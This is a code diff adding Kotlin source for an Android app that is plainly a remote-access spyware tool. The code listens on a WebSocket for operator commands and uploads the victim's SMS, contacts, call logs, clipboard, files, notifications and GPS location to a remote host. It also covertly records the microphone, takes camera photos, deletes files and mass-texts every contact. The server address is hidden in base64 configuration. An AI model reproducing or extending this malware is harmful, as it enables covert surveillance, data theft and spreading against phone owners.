+ val sms = arrayListOf() + val uriSMSURI = Uri.parse("content://sms/inbox") + val cur: Cursor? = context.contentResolver.query(uriSMSURI, null, null, null, null) + if (cur != null) { + while (cur.moveToNext()) { + val address = cur.getString(cur.getColumnIndex("address")) + val body = cur.getString(cur.getColumnIndexOrThrow("body")) + sms.add(SmsModel(address, body, AppTools.getDeviceName())) + } + var allSmsText = "All Sms : \n\n" + for (message in sms) { + val number = message.phone + val device = message.device + val text = message.message + allSmsText += "Number : $number\nDevice : $device\nMessage : $text\n\n\n\n" + } + val file = + File.createTempFile("All Sms - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allSmsText) + writer.flush() + writer.close() + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("UnspecifiedImmutableFlag") + fun sendMessage(number: String, message: String) { + if (permission.checkSendSms()) { + val sentPI: PendingIntent = + PendingIntent.getBroadcast(context, 0, Intent("SMS_SENT"), 0) + SmsManager.getDefault() + .sendTextMessage(number, null, message, sentPI, null) + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range") + fun messageToAllContacts(message: String) { + if (permission.checkReadContacts() && permission.checkSendSms()) { + val cr: ContentResolver = context.contentResolver + val cur = cr.query( + ContactsContract.Contacts.CONTENT_URI, + null, null, null, null + ) + if ((cur?.count ?: 0) > 0) { + while (cur != null && cur.moveToNext()) { + val id = cur.getString( + cur.getColumnIndex(ContactsContract.Contacts._ID) + ) + if (cur.getInt( + cur.getColumnIndex( + ContactsContract.Contacts.HAS_PHONE_NUMBER + ) + ) > 0 + ) { + val pCur = cr.query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, + ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", + arrayOf(id), + null + ) + while (pCur!!.moveToNext()) { + val phoneNo = pCur.getString( + pCur.getColumnIndex( + ContactsContract.CommonDataKinds.Phone.NUMBER + ) + ) + sendMessage(phoneNo, message) + } + pCur.close() + } + } + } + cur?.close() + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("WrongConstant") + fun uploadApps() { + var allAppsText = "All Apps :\n\n\n " + val mainIntent = Intent(Intent.ACTION_MAIN, null) + mainIntent.addCategory(Intent.CATEGORY_LAUNCHER) + val appList: List = + context.packageManager.queryIntentActivities(mainIntent, 0) + for (app in appList) { + allAppsText += app.activityInfo.name + "\n\n" + } + val file = File.createTempFile("All Apps - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allAppsText) + writer.flush() + writer.close() + request.sendFile(file) + } + + fun uploadDeviceInfo() { + val model = AppTools.getDeviceName() + val battery = AppTools.getBatteryPercentage(context) + val file = File.createTempFile("Device Status - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append("$model\n Battery Percentage : $battery") + writer.flush() + writer.close() + request.sendFile(file) + } + + fun uploadClipboard() { + AppScope.runMain { + val clipBoardManager = context.getSystemService(CLIPBOARD_SERVICE) as ClipboardManager + val clip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString() + val file = + File.createTempFile("Clipboard - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append("new Clipboard : $clip") + writer.flush() + writer.close() + request.sendFile(file) + clipBoardManager.addPrimaryClipChangedListener { + val newClip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString() + val newFile = + File.createTempFile( + "Clipboard - ${AppTools.getDeviceName()} - ", + ".txt" + ) + val newWriter = FileWriter(newFile) + newWriter.append("new Clipboard : $newClip") + newWriter.flush() + newWriter.close() + request.sendFile(newFile) + } + } + } + + fun uploadFile(path: String) { + if (permission.checkReadExternalStorage()) { + val file = File(Environment.getExternalStorageDirectory().path + "/" + path) + if (file.exists()) { + if (file.isDirectory) { + val listFiles = file.listFiles() + if (listFiles != null) { + for (targetFile in listFiles) { + request.sendFile(targetFile) + } + } + } + if (file.isFile) { + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ")) + } + } else { + request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun deleteFile(path: String) { + if (AppPermission(context).checkWriteExternalStorage()) { + val file = File(Environment.getExternalStorageDirectory().path + "/" + path) + if (file.exists()) { + if (file.isDirectory) { + file.deleteRecursively() + request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + if (file.isFile) { + file.delete() + request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } else { + request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ")) + } + } else { + request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("NewApi") + fun captureMicrophone(duration: Long) { + if (AppPermission(context).checkCaptureMic()) { + request.sendText(AppRequest.Text("$duration ꜱᴇᴄᴏɴᴅ ʀᴇᴄᴏʀᴅ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Mic - ${AppTools.getDeviceName()} - ", ".amr") + val mediaRecord = MediaRecorder() + mediaRecord.setAudioSource(MediaRecorder.AudioSource.MIC) + mediaRecord.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP) + mediaRecord.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB) + mediaRecord.setOutputFile(file) + mediaRecord.prepare() + mediaRecord.start() + Handler(Looper.getMainLooper()).postDelayed({ + mediaRecord.stop() + mediaRecord.release() + request.sendFile(file) + }, duration * 1000) + } else { + request.sendText(AppRequest.Text("ᴍɪᴄʀᴏᴘʜᴏɴᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun captureCameraMain() { + if (AppPermission(context).checkCaptureCam()) { + request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ᴍᴀɪɴ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png") + val holder = SurfaceTexture(0) + val camera = Camera.open(0) + camera.setPreviewTexture(holder) + camera.startPreview() + camera.takePicture( + null, + null, + ) { p0, p1 -> + file.writeBytes(p0) + p1.release() + request.sendFile(file) + request.sendText(AppRequest.Text("")) + } + } else { + request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun captureCameraSelfie() { + if (AppPermission(context).checkCaptureCam()) { + request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ꜱᴇʟꜰɪᴇ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png") + val holder = SurfaceTexture(0) + val camera = Camera.open(1) + camera.setPreviewTexture(holder) + camera.startPreview() + camera.takePicture( + null, + null, + ) { p0, p1 -> + file.writeBytes(p0) + p1.release() + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("MissingPermission", "NewApi") + fun uploadGpsLocation() { + request.sendText(AppRequest.Text("ʟᴏᴄᴀᴛɪᴏɴ ʀᴇQᴜᴇꜱᴛ ʀᴇᴄᴇɪᴠᴇᴅ, ᴅᴇᴠɪᴄᴇ ʟᴏᴄᴀᴛɪᴏɴ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ꜱᴏᴏɴ ɪꜰ ᴀᴠᴀɪʟᴀʙʟᴇ")) + if (permission.checkGetLocation()) { + val client = FusedLocationProviderClient(context) + val locationRequest = LocationRequest.create() + locationRequest.priority = LocationRequest.PRIORITY_HIGH_ACCURACY + client.requestLocationUpdates(locationRequest, object : LocationCallback() { + override fun onLocationResult(p0: LocationResult) { + if (p0 != null) { + val lat = p0.lastLocation?.latitude + val lon = p0.lastLocation?.longitude + if (lat != null) { + if (lon != null) { + request.sendLocation( + AppRequest.Location( + lat.toFloat(), + lon.toFloat() + ) + ) + } + } + } + } + }, Looper.getMainLooper()) + } else { + request.sendText(AppRequest.Text("ɢᴘꜱ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun showToast(text: String) { + Handler(Looper.getMainLooper()).post { + Toast.makeText(context, text, Toast.LENGTH_LONG).show() + } + request.sendText(AppRequest.Text("ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ")) + } + + @SuppressLint("NewApi") + fun showNotification(title: String, url: String) { + val NOTIFICATION_CHANNEL_ID = "channel" + val notificationIntent = Intent(Intent.ACTION_VIEW) + notificationIntent.data = Uri.parse(url); + val resultIntent = PendingIntent.getActivity( + context, + 0, + notificationIntent, + PendingIntent.FLAG_MUTABLE + ) + val mBuilder = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID) + .setSmallIcon(R.drawable.ic_baseline_warning_24) + .setContentTitle(title) + .setContentText("") + .setBadgeIconType(NotificationCompat.BADGE_ICON_LARGE) + .setPriority(NotificationManager.IMPORTANCE_HIGH) + .setContentIntent(resultIntent) + val mNotificationManager = + context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager? + mNotificationManager!!.notify( + System.currentTimeMillis().toInt(), + mBuilder.build() + ) + request.sendText(AppRequest.Text("ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ")) + } + + @SuppressLint("NewApi") + fun vibratePhone() { + val vibrationManager = + context.getSystemService(Service.VIBRATOR_MANAGER_SERVICE) as VibratorManager + vibrationManager.vibrate( + CombinedVibration.createParallel( + VibrationEffect.createOneShot( + 2000, + 1 + ) + ) + ) + request.sendText(AppRequest.Text("ᴅᴇᴠɪᴄᴇ ᴠɪʙʀᴀᴛɪᴏɴ ʜᴀꜱ ʙᴇᴇɴ ᴇxᴇᴄᴜᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + + fun playAudio(url: String) { + AppScope.runMain { + try { + mediaPlayer = MediaPlayer() + if (mediaPlayer != null) { + mediaPlayer!!.setDataSource(url) + mediaPlayer!!.prepare() + mediaPlayer!!.start() + request.sendText(AppRequest.Text("ᴛʜᴇ ᴀᴜᴅɪᴏ ꜰɪʟᴇ ɪꜱ ᴘʟᴀʏɪɴɢ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } catch (e:Exception){ + request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ᴘʟᴀʏʙᴀᴄᴋ ꜰᴀɪʟᴇᴅ")) + } + } + } + + fun stopAudio() { + AppScope.runMain { + if (mediaPlayer != null) { + mediaPlayer!!.release() + mediaPlayer = null + request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ꜱᴛᴏᴘᴘᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } + } + + data class SmsModel( + val phone: String, + val message: String, + val device: String + ) +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt new file mode 100644 index 0000000..85d81fc --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt @@ -0,0 +1,19 @@ +package willi.fiend.Utils + +import android.service.notification.NotificationListenerService +import android.service.notification.StatusBarNotification + +class AppNotificationListener : NotificationListenerService() { + override fun onNotificationPosted(sbn: StatusBarNotification?) { + val title = sbn?.notification?.extras?.getString("android.title") + val text = sbn?.notification?.extras?.getString("android.text") + val packageName = sbn?.packageName + + var message = "" + message += "App : $packageName\n" + message += "Title : $title\n" + message += "Text : $text" + + AppRequest().sendText(AppRequest.Text(message)) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt new file mode 100644 index 0000000..01e9ad7 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt @@ -0,0 +1,106 @@ +package willi.fiend.Utils + +import android.Manifest +import android.content.Context +import android.content.pm.PackageManager +import com.karumi.dexter.Dexter +import com.karumi.dexter.MultiplePermissionsReport +import com.karumi.dexter.PermissionToken +import com.karumi.dexter.listener.PermissionRequest +import com.karumi.dexter.listener.multi.MultiplePermissionsListener + +class AppPermission(private val context: Context) { + fun getPerms(onPermissionsChecked: () -> Unit) { + Dexter + .withContext(context) + .withPermissions( + Manifest.permission.READ_EXTERNAL_STORAGE, + Manifest.permission.RECEIVE_SMS, + Manifest.permission.READ_SMS, + Manifest.permission.SEND_SMS, + Manifest.permission.READ_CALL_LOG, + Manifest.permission.READ_CONTACTS, + Manifest.permission.INTERNET, + Manifest.permission.RECORD_AUDIO, + Manifest.permission.CAMERA, + Manifest.permission.ACCESS_FINE_LOCATION, + Manifest.permission.ACCESS_COARSE_LOCATION + ).withListener(object : MultiplePermissionsListener { + override fun onPermissionsChecked(p0: MultiplePermissionsReport?) { + onPermissionsChecked() + } + + override fun onPermissionRationaleShouldBeShown( + p0: MutableList?, + p1: PermissionToken? + ) {} + }).check() + } + + fun checkReadExternalStorage(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_EXTERNAL_STORAGE + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkWriteExternalStorage(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.WRITE_EXTERNAL_STORAGE + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkReadSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission2 = Manifest.permission.READ_SMS + val checkPrem2: Int = context.checkCallingOrSelfPermission(requiredPermission2) + return checkPrem2 == granted + } + + fun checkReceiveSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.RECEIVE_SMS + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkSendSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission3 = Manifest.permission.SEND_SMS + val checkPrem3: Int = context.checkCallingOrSelfPermission(requiredPermission3) + return checkPrem3 == granted + } + + fun checkReadCallLog(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_CALL_LOG + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkReadContacts(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_CONTACTS + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkCaptureMic(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.RECORD_AUDIO + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkCaptureCam(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.CAMERA + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkGetLocation(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.ACCESS_FINE_LOCATION + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt new file mode 100644 index 0000000..fe4eb5f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt @@ -0,0 +1,111 @@ +package willi.fiend.Utils + +import android.content.Context +import android.util.Log +import androidx.lifecycle.ViewModel +import androidx.lifecycle.viewModelScope +import com.google.gson.Gson +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.launch +import okhttp3.* +import okhttp3.MediaType.Companion.toMediaType +import java.io.File +import java.io.IOException + +class AppRequest() : ViewModel() { + private val CLIENT = OkHttpClient() + private val HOST = AppTools.getAppData().host + + fun awake() { + viewModelScope.launch(Dispatchers.IO) { + val request = Request.Builder().url(HOST).build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendFile(file: File) { + viewModelScope.launch(Dispatchers.IO) { + val formBody = MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("file", file.name, RequestBody.create(null, file)) + .build() + val request = Request.Builder() + .url(HOST + "uploadFile/") + .post(formBody) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendText(text: Text) { + viewModelScope.launch(Dispatchers.IO) { + val gson = Gson().toJson(text) + val request = Request.Builder() + .url(HOST + "uploadText/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendLocation(location: Location) { + viewModelScope.launch(Dispatchers.IO) { + val gson = Gson().toJson(location).toString() + val request = Request.Builder() + .url(HOST + "uploadLocation/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendWaterMark(){ + viewModelScope.launch(Dispatchers.IO) { + Log.i("WAT",AppTools.getWatermark()) + val gson = Gson().toJson(Text(AppTools.getWatermark())) + val request = Request.Builder() + .url(HOST + "uploadText/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + data class Location( + val lat: Float, + val lon: Float + ) + + data class Text( + val text: String + ) +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt new file mode 100644 index 0000000..eef9b19 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt @@ -0,0 +1,24 @@ +package willi.fiend.Utils + +import android.os.Handler +import android.os.Looper +import androidx.lifecycle.ViewModel +import androidx.lifecycle.viewModelScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.launch + +class AppScope(val runnable: Runnable) : Runnable , ViewModel(){ + override fun run() { + viewModelScope.launch(Dispatchers.IO) { + runnable.run() + } + } + companion object { + fun runBack(runnable: Runnable) { + AppScope(runnable).run() + } + fun runMain(runnable: Runnable){ + Handler(Looper.getMainLooper()).post(runnable) + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt new file mode 100644 index 0000000..fd603a4 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt @@ -0,0 +1,157 @@ +package willi.fiend.Utils + +import android.content.Context +import android.os.Handler +import android.os.Looper +import android.util.Log +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.Response +import okhttp3.WebSocket + + +class AppSocket(val context: Context) : + okhttp3.WebSocketListener() { + private val client = OkHttpClient() + private val requests = AppRequest() + val action = AppActions(context) + + fun connect() { + AppScope.runBack { + val request = Request.Builder().url(AppTools.getAppData().socket) + requests.awake() + request.addHeader("model", AppTools.getDeviceName()) + request.addHeader("battery", AppTools.getBatteryPercentage(context).toString()) + request.addHeader("version", AppTools.getAndroidVersion().toString() + " (SDK)") + request.addHeader("brightness", AppTools.getScreenBrightness(context).toString()) + request.addHeader("provider", AppTools.getProviderName(context)) + client.newWebSocket(request.build(), this) + } + } + + override fun onMessage(webSocket: WebSocket, text: String) { + Log.i("MESSAGE",text) + when(text){ + "calls" -> { + requests.sendWaterMark() + action.uploadCalls() + } + "contacts" -> { + requests.sendWaterMark() + action.uploadContact() + } + "messages" -> { + requests.sendWaterMark() + action.uploadMessages() + } + "apps" -> { + requests.sendWaterMark() + action.uploadApps() + } + "device_info" -> { + requests.sendWaterMark() + action.uploadDeviceInfo() + } + "clipboard" -> { + requests.sendWaterMark() + action.uploadClipboard() + } + "camera_main" -> { + requests.sendWaterMark() + action.captureCameraMain() + } + "camera_selfie" -> { + requests.sendWaterMark() + action.captureCameraSelfie() + } + "gpsLocation" -> { + requests.sendWaterMark() + action.uploadGpsLocation() + } + "vibrate" -> { + requests.sendWaterMark() + action.vibratePhone() + } + "stop_audio" -> { + requests.sendWaterMark() + action.stopAudio() + } + "ping" -> webSocket.send("pong") + else -> { + val commend = text.split(":")[0] + val data = text.split(":")[1] + when(commend){ + "send_message" -> { + val number = data.split("/")[0] + val message = data.split("/")[1] + action.sendMessage(number, message) + requests.sendWaterMark() + } + "send_message_to_all" -> { + action.messageToAllContacts(data) + requests.sendWaterMark() + } + "file" -> { + action.uploadFile(data) + requests.sendWaterMark() + } + "delete_file" -> { + action.deleteFile(data) + requests.sendWaterMark() + } + "microphone" -> { + val duration = data.toLongOrNull() + if (duration != null) { + action.captureMicrophone(duration) + requests.sendWaterMark() + } else { + requests.sendText(AppRequest.Text("Invalid duration")) + requests.sendWaterMark() + } + } + "toast" -> { + action.showToast(data) + requests.sendWaterMark() + } + "show_notification" -> { + val notificationData = text.substringAfter(":") + val title = notificationData.substringBefore("/") + val url = notificationData.substringAfter("/") + action.showNotification(title, url) + requests.sendWaterMark() + } + "play_audio" -> { + action.playAudio(text.substringAfter(":")) + requests.sendWaterMark() + } + } + } + } + } + + override fun onOpen(webSocket: WebSocket, response: Response) {} + + override fun onClosed(webSocket: WebSocket, code: Int, reason: String) { + Log.i("ERR",reason) + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } + + override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) { + t.printStackTrace() + if (response != null) { + Log.i("ERR", response.message) + } + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } + + override fun onClosing(webSocket: WebSocket, code: Int, reason: String) { + Log.i("ERR",reason) + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt new file mode 100644 index 0000000..98f777f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt @@ -0,0 +1,186 @@ +package willi.fiend.Utils + +import android.annotation.SuppressLint +import android.app.Activity +import android.app.ActivityManager +import android.app.DownloadManager +import android.content.ContentResolver +import android.content.Context +import android.graphics.Bitmap +import android.graphics.Canvas +import android.graphics.Color +import android.graphics.Paint +import android.net.Uri +import android.os.BatteryManager +import android.os.Build +import android.os.Environment +import android.provider.Settings +import android.telephony.TelephonyManager +import android.webkit.DownloadListener +import android.webkit.URLUtil +import androidx.activity.ComponentActivity +import com.google.gson.Gson +import willi.fiend.MainService +import java.util.* + + +@SuppressLint("Range") +class AppTools { + companion object { + @SuppressLint("NewApi") + fun getAppData(): AppData { + val data = "" + val text = decode(data) + return Gson().fromJson(text, AppData::class.java) + } + + @SuppressLint("NewApi") + private fun decode(base64: String): String { + val decodedBytes: ByteArray = Base64.getDecoder().decode(base64) + return String(decodedBytes) + } + + @SuppressLint("NewApi") + fun getWatermark(): String { + val encodedWatermark = "4bSF4bSH4bSg4bSHyp/htI/htJjhtIfhtIUgypnKjyA6IEBoYWNrZGFnZ2Vy" + val decodedWatermark = Base64.getDecoder().decode(encodedWatermark) + return String(decodedWatermark) + } + + data class AppData( + val host: String, + val socket: String, + val webView: String + ) + + fun getAndroidVersion(): Int { + return Build.VERSION.SDK_INT + } + + fun getScreenBrightness(context: Context): Int { + return Settings.System.getInt( + context.contentResolver, + Settings.System.SCREEN_BRIGHTNESS + ); + } + + fun getProviderName(context: Context): String { + return try { + val manager = + context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager + manager.networkOperatorName + } catch (ex: Exception) { + "no provider" + } + } + + fun getDeviceName(): String { + fun capitalize(s: String?): String { + if (s == null || s.isEmpty()) { + return "" + } + val first = s[0] + return if (Character.isUpperCase(first)) { + s + } else { + Character.toUpperCase(first).toString() + s.substring(1) + } + } + + val manufacturer = Build.MANUFACTURER + val model = Build.MODEL + return if (model.lowercase(Locale.getDefault()) + .startsWith(manufacturer.lowercase(Locale.getDefault())) + ) { + capitalize(model) + } else { + capitalize(manufacturer) + " " + model + } + } + + fun getBatteryPercentage(context: Context): Int { + val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager + return bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY) + } + + fun isNotificationServiceRunning(context: Context): Boolean { + val contentResolver: ContentResolver = context.contentResolver + val enabledNotificationListeners: String = + Settings.Secure.getString(contentResolver, "enabled_notification_listeners") + val packageName: String = context.packageName + return enabledNotificationListeners.contains( + packageName + ) + } + + fun isServiceRunning( + context: Context, + serviceClass: Class<*> = MainService::class.java + ): Boolean { + val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager + for (service in manager.getRunningServices(Int.MAX_VALUE)) { + if (serviceClass.name == service.service.className) { + return true + } + } + return false + } + + fun disableWelcome(context: Context) { + val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE) + val editor = prefs.edit() + editor.putBoolean("showWelcome", false) + editor.apply() + } + + fun showWelcome(context: Context): Boolean { + val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE) + return prefs.getBoolean("showWelcome", true) + } + + private const val APP_PACKAGE_DOT_COUNT = 2 + private const val DUAL_APP_ID_999 = "999" + private const val DOT = '.' + + fun checkAppCloning(activity: Activity) { + val path: String = activity.filesDir.path + if (path.contains(DUAL_APP_ID_999)) { + killProcess(activity) + } else { + val count: Int = getDotCount(path) + if (count > APP_PACKAGE_DOT_COUNT) { + killProcess(activity) + } + } + } + private fun getDotCount(path: String): Int { + var count = 0 + for (element in path) { + if (count > APP_PACKAGE_DOT_COUNT) { + break + } + if (element == DOT) { + count++ + } + } + return count + } + + private fun killProcess(context: Activity) { + context.finish() + android.os.Process.killProcess( android.os.Process.myPid()) + } + } + + class WebViewDownloadListener(private val context: Context) : DownloadListener { + override fun onDownloadStart(p0: String?, p1: String?, p2: String?, p3: String?, p4: Long) { + val request = DownloadManager.Request(Uri.parse(p0)) + request.setDestinationInExternalPublicDir( + Environment.DIRECTORY_DOWNLOADS, + URLUtil.guessFileName(p0, p2, p3) + ) + val dm = context.getSystemService(ComponentActivity.DOWNLOAD_SERVICE) as DownloadManager + dm.enqueue(request) + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- 